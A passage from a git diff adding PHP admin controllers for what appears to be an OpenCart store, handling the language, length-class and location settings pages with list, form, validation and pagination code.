+ $this->error['warning'] = sprintf($this->language->get('error_tax_rate'), $tax_rate_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/localisation/language.php b/public/admin/controller/localisation/language.php
new file mode 100644
index 0000000..445d6bc
--- /dev/null
+++ b/public/admin/controller/localisation/language.php
@@ -0,0 +1,438 @@
+load->language('localisation/language');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/language');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('localisation/language');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/language');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_language->addLanguage($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/language', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('localisation/language');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/language');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_language->editLanguage($this->request->get['language_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/language', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('localisation/language');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/language');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $language_id) {
+ $this->model_localisation_language->deleteLanguage($language_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/language', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/language', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('localisation/language/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('localisation/language/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['languages'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $language_total = $this->model_localisation_language->getTotalLanguages();
+
+ $results = $this->model_localisation_language->getLanguages($filter_data);
+
+ foreach ($results as $result) {
+ $data['languages'][] = array(
+ 'language_id' => $result['language_id'],
+ 'name' => $result['name'] . (($result['code'] == $this->config->get('config_language')) ? $this->language->get('text_default') : null),
+ 'code' => $result['code'],
+ 'sort_order' => $result['sort_order'],
+ 'edit' => $this->url->link('localisation/language/edit', 'user_token=' . $this->session->data['user_token'] . '&language_id=' . $result['language_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('localisation/language', 'user_token=' . $this->session->data['user_token'] . '&sort=name' . $url, true);
+ $data['sort_code'] = $this->url->link('localisation/language', 'user_token=' . $this->session->data['user_token'] . '&sort=code' . $url, true);
+ $data['sort_sort_order'] = $this->url->link('localisation/language', 'user_token=' . $this->session->data['user_token'] . '&sort=sort_order' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $language_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('localisation/language', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($language_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($language_total - $this->config->get('config_limit_admin'))) ? $language_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $language_total, ceil($language_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/language_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['language_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['code'])) {
+ $data['error_code'] = $this->error['code'];
+ } else {
+ $data['error_code'] = '';
+ }
+
+ if (isset($this->error['locale'])) {
+ $data['error_locale'] = $this->error['locale'];
+ } else {
+ $data['error_locale'] = '';
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/language', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['language_id'])) {
+ $data['action'] = $this->url->link('localisation/language/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('localisation/language/edit', 'user_token=' . $this->session->data['user_token'] . '&language_id=' . $this->request->get['language_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('localisation/language', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['language_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $language_info = $this->model_localisation_language->getLanguage($this->request->get['language_id']);
+ }
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($language_info)) {
+ $data['name'] = $language_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['code'])) {
+ $data['code'] = $this->request->post['code'];
+ } elseif (!empty($language_info)) {
+ $data['code'] = $language_info['code'];
+ } else {
+ $data['code'] = '';
+ }
+
+ $data['languages'] = array();
+
+ $folders = glob(DIR_LANGUAGE . '*', GLOB_ONLYDIR);
+
+ foreach ($folders as $folder) {
+ $data['languages'][] = basename($folder);
+ }
+
+ if (isset($this->request->post['locale'])) {
+ $data['locale'] = $this->request->post['locale'];
+ } elseif (!empty($language_info)) {
+ $data['locale'] = $language_info['locale'];
+ } else {
+ $data['locale'] = '';
+ }
+
+ if (isset($this->request->post['sort_order'])) {
+ $data['sort_order'] = $this->request->post['sort_order'];
+ } elseif (!empty($language_info)) {
+ $data['sort_order'] = $language_info['sort_order'];
+ } else {
+ $data['sort_order'] = 1;
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($language_info)) {
+ $data['status'] = $language_info['status'];
+ } else {
+ $data['status'] = true;
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/language_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'localisation/language')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 32)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if (utf8_strlen($this->request->post['code']) < 2) {
+ $this->error['code'] = $this->language->get('error_code');
+ }
+
+ if (!$this->request->post['locale']) {
+ $this->error['locale'] = $this->language->get('error_locale');
+ }
+
+ $language_info = $this->model_localisation_language->getLanguageByCode($this->request->post['code']);
+
+ if (!isset($this->request->get['language_id'])) {
+ if ($language_info) {
+ $this->error['warning'] = $this->language->get('error_exists');
+ }
+ } else {
+ if ($language_info && ($this->request->get['language_id'] != $language_info['language_id'])) {
+ $this->error['warning'] = $this->language->get('error_exists');
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'localisation/language')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('setting/store');
+ $this->load->model('sale/order');
+
+ foreach ($this->request->post['selected'] as $language_id) {
+ $language_info = $this->model_localisation_language->getLanguage($language_id);
+
+ if ($language_info) {
+ if ($this->config->get('config_language') == $language_info['code']) {
+ $this->error['warning'] = $this->language->get('error_default');
+ }
+
+ if ($this->config->get('config_admin_language') == $language_info['code']) {
+ $this->error['warning'] = $this->language->get('error_admin');
+ }
+
+ $store_total = $this->model_setting_store->getTotalStoresByLanguage($language_info['code']);
+
+ if ($store_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_store'), $store_total);
+ }
+ }
+
+ $order_total = $this->model_sale_order->getTotalOrdersByLanguageId($language_id);
+
+ if ($order_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_order'), $order_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
diff --git a/public/admin/controller/localisation/length_class.php b/public/admin/controller/localisation/length_class.php
new file mode 100644
index 0000000..3dac51a
--- /dev/null
+++ b/public/admin/controller/localisation/length_class.php
@@ -0,0 +1,375 @@
+load->language('localisation/length_class');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/length_class');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('localisation/length_class');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/length_class');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_length_class->addLengthClass($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/length_class', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('localisation/length_class');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/length_class');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_length_class->editLengthClass($this->request->get['length_class_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/length_class', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('localisation/length_class');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/length_class');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $length_class_id) {
+ $this->model_localisation_length_class->deleteLengthClass($length_class_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/length_class', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'title';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/length_class', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('localisation/length_class/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('localisation/length_class/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['length_classes'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $length_class_total = $this->model_localisation_length_class->getTotalLengthClasses();
+
+ $results = $this->model_localisation_length_class->getLengthClasses($filter_data);
+
+ foreach ($results as $result) {
+ $data['length_classes'][] = array(
+ 'length_class_id' => $result['length_class_id'],
+ 'title' => $result['title'] . (($result['length_class_id'] == $this->config->get('config_length_class_id')) ? $this->language->get('text_default') : null),
+ 'unit' => $result['unit'],
+ 'value' => $result['value'],
+ 'edit' => $this->url->link('localisation/length_class/edit', 'user_token=' . $this->session->data['user_token'] . '&length_class_id=' . $result['length_class_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_title'] = $this->url->link('localisation/length_class', 'user_token=' . $this->session->data['user_token'] . '&sort=title' . $url, true);
+ $data['sort_unit'] = $this->url->link('localisation/length_class', 'user_token=' . $this->session->data['user_token'] . '&sort=unit' . $url, true);
+ $data['sort_value'] = $this->url->link('localisation/length_class', 'user_token=' . $this->session->data['user_token'] . '&sort=value' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $length_class_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('localisation/length_class', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($length_class_total) ? (($page - 1) * $this->config->get('config_limit_admin')) + 1 : 0, ((($page - 1) * $this->config->get('config_limit_admin')) > ($length_class_total - $this->config->get('config_limit_admin'))) ? $length_class_total : ((($page - 1) * $this->config->get('config_limit_admin')) + $this->config->get('config_limit_admin')), $length_class_total, ceil($length_class_total / $this->config->get('config_limit_admin')));
+
+ $data['sort'] = $sort;
+ $data['order'] = $order;
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/length_class_list', $data));
+ }
+
+ protected function getForm() {
+ $data['text_form'] = !isset($this->request->get['length_class_id']) ? $this->language->get('text_add') : $this->language->get('text_edit');
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['title'])) {
+ $data['error_title'] = $this->error['title'];
+ } else {
+ $data['error_title'] = array();
+ }
+
+ if (isset($this->error['unit'])) {
+ $data['error_unit'] = $this->error['unit'];
+ } else {
+ $data['error_unit'] = array();
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/length_class', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['length_class_id'])) {
+ $data['action'] = $this->url->link('localisation/length_class/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('localisation/length_class/edit', 'user_token=' . $this->session->data['user_token'] . '&length_class_id=' . $this->request->get['length_class_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('localisation/length_class', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['length_class_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $length_class_info = $this->model_localisation_length_class->getLengthClass($this->request->get['length_class_id']);
+ }
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['length_class_description'])) {
+ $data['length_class_description'] = $this->request->post['length_class_description'];
+ } elseif (isset($this->request->get['length_class_id'])) {
+ $data['length_class_description'] = $this->model_localisation_length_class->getLengthClassDescriptions($this->request->get['length_class_id']);
+ } else {
+ $data['length_class_description'] = array();
+ }
+
+ if (isset($this->request->post['value'])) {
+ $data['value'] = $this->request->post['value'];
+ } elseif (!empty($length_class_info)) {
+ $data['value'] = $length_class_info['value'];
+ } else {
+ $data['value'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('localisation/length_class_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'localisation/length_class')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['length_class_description'] as $language_id => $value) {
+ if ((utf8_strlen($value['title']) < 3) || (utf8_strlen($value['title']) > 32)) {
+ $this->error['title'][$language_id] = $this->language->get('error_title');
+ }
+
+ if (!$value['unit'] || (utf8_strlen($value['unit']) > 4)) {
+ $this->error['unit'][$language_id] = $this->language->get('error_unit');
+ }
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'localisation/length_class')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ $this->load->model('catalog/product');
+
+ foreach ($this->request->post['selected'] as $length_class_id) {
+ if ($this->config->get('config_length_class_id') == $length_class_id) {
+ $this->error['warning'] = $this->language->get('error_default');
+ }
+
+ $product_total = $this->model_catalog_product->getTotalProductsByLengthClassId($length_class_id);
+
+ if ($product_total) {
+ $this->error['warning'] = sprintf($this->language->get('error_product'), $product_total);
+ }
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/localisation/location.php b/public/admin/controller/localisation/location.php
new file mode 100644
index 0000000..1534eea
--- /dev/null
+++ b/public/admin/controller/localisation/location.php
@@ -0,0 +1,427 @@
+load->language('localisation/location');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/location');
+
+ $this->getList();
+ }
+
+ public function add() {
+ $this->load->language('localisation/location');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/location');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_location->addLocation($this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/location', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function edit() {
+ $this->load->language('localisation/location');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/location');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validateForm()) {
+ $this->model_localisation_location->editLocation($this->request->get['location_id'], $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/location', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getForm();
+ }
+
+ public function delete() {
+ $this->load->language('localisation/location');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('localisation/location');
+
+ if (isset($this->request->post['selected']) && $this->validateDelete()) {
+ foreach ($this->request->post['selected'] as $location_id) {
+ $this->model_localisation_location->deleteLocation($location_id);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $this->response->redirect($this->url->link('localisation/location', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function getList() {
+ if (isset($this->request->get['sort'])) {
+ $sort = $this->request->get['sort'];
+ } else {
+ $sort = 'name';
+ }
+
+ if (isset($this->request->get['order'])) {
+ $order = $this->request->get['order'];
+ } else {
+ $order = 'ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('localisation/location', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ $data['add'] = $this->url->link('localisation/location/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ $data['delete'] = $this->url->link('localisation/location/delete', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ $data['locations'] = array();
+
+ $filter_data = array(
+ 'sort' => $sort,
+ 'order' => $order,
+ 'start' => ($page - 1) * $this->config->get('config_limit_admin'),
+ 'limit' => $this->config->get('config_limit_admin')
+ );
+
+ $location_total = $this->model_localisation_location->getTotalLocations();
+
+ $results = $this->model_localisation_location->getLocations($filter_data);
+
+ foreach ($results as $result) {
+ $data['locations'][] = array(
+ 'location_id' => $result['location_id'],
+ 'name' => $result['name'],
+ 'address' => $result['address'],
+ 'edit' => $this->url->link('localisation/location/edit', 'user_token=' . $this->session->data['user_token'] . '&location_id=' . $result['location_id'] . $url, true)
+ );
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ if (isset($this->request->post['selected'])) {
+ $data['selected'] = (array)$this->request->post['selected'];
+ } else {
+ $data['selected'] = array();
+ }
+
+ $url = '';
+
+ if ($order == 'ASC') {
+ $url .= '&order=DESC';
+ } else {
+ $url .= '&order=ASC';
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['sort_name'] = $this->url->link('localisation/location', 'user_token=' . $this->session->data['user_token'] . '&sort=name' . $url, true);
+ $data['sort_address'] = $this->url->link('localisation/location', 'user_token=' . $this->session->data['user_token'] . '&sort=address' . $url, true);
+
+ $url = '';
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $pagination = new Pagination();
+ $pagination->total = $location_total;
+ $pagination->page = $page;
+ $pagination->limit = $this->config->get('config_limit_admin');
+ $pagination->url = $this->url->link('localisation/location', 'user_token=' . $this->session->data['user_token'] . $url . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
